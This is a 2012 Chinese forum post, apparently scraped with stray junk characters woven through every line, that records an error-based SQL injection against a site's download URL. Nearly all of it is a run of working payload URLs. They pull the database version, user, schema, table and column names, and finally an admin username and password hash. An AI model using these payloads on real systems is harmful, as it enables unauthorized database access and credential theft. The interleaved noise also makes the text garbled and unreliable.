http://www.wooyun.org/bugs/wooyun-2010-01666) b W" l4 ?8 H0 q% u" i" m8 W! J
7 V& [& z# R" u1 b8 |9 s
之前想找个测试 没想到这有 可以测试下做个记录而已
" |2 F8 b" z% S s: y `* ]/ V$ D) X3 n
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003# T6 Y9 @7 n `2 i
- J, }: i; |4 X( U$ h! k/data0/htdocs/leqi_new/app/myapp.php
" q, c9 d \5 Y3 f4 q8 k- Y- A. P; T" I& S! W; L
或者
2 d, V1 v; Y6 r% I2 S
8 E2 Z- j" ~7 X$ o, G/**********version()**********/ 5.1.49-log
. S' @ w0 x2 d- T" K' ~0 x6 zhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003 C; E' s9 S' V6 f9 o) s
* b$ B' ^8 m8 G# n
/**********user()**********/
/ G4 i% Q2 ^8 _& Z/ u" p7 Q' Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003 r7 X$ e, j" h$ t% s
; i2 T" y* { | c+ d Y/**********database()**********/ leqi
: s2 Z4 R) [) k! X/ }http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0038 O/ Z" D4 k/ Q' n+ ]' ]" }
0 ]1 `* S2 L8 T1 x/ S/ b! g
/**********limit依次递归爆库**********/
& O8 ^& M3 V7 L$ v) W2 u2 e5 r) khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
# c' o' i1 B/ J1 N6 n- x1 Oinformation_schema
( y! |5 o0 ^. F6 z8 U/ f: \1 r& ahttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003+ U. j7 }: ?% v6 S$ i) S, j* h. w8 q
leqi
! T: B& u f& [4 c, |2 C& ahttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
) J$ l) `7 V$ M, D- e( ?test
$ `, w4 X, q; i% q8 Q2 Y0 f
2 Q6 m' T ]6 o+ M- F8 Y/**********limit依次递归爆表名**********/
9 e& t1 e( y5 D/ Whttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003: X0 ~1 ?) T6 t' a, l
users0 o$ j1 U- Y. ]+ M5 t" D( {+ g
/ L9 b$ ?7 l9 \- ?$ G- [/**********limit依次递归爆字段名**********/
# ]9 p6 N+ Q3 u" f+ I0 hhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
0 J% J# S0 v; z9 e9 Suser_id,username,nickname,passwd,group_id
* ~1 F+ E# g1 Q: thttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
( P8 }+ G% k, v! V4 _: f9 A, Y/wapc/5000_0005_003
. W7 C$ A% ^4 R- B; p0 O4 r11 21
7 {2 j$ f6 u- [8 h& s# nhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
0 Y$ V- D, x7 V% t1 u# }/wapc/5000_0005_003
3 w! \' K' K6 z5 d4 C) H1 |11 341 351 361: h \8 D: M! P) A; ]) U4 g v. _
/**********爆数据**********/
5 w: s) L5 Y: D xhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
8 w% @) A7 K; f# B, Oadmin0 u/ j& {7 X% F7 @" |$ [& G) x( D
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
4 a; i7 k8 [+ l% O6a8b4574ca231eb8bd52764d4978ffcd. j1 K5 D: k. [" w$ S8 G
# P1 n5 C# S( S& P. @4 \
! }$ X) c) J3 i9 l7 U' a4 I |
发表于 2012-9-13 17:52:09
收藏
支持
反对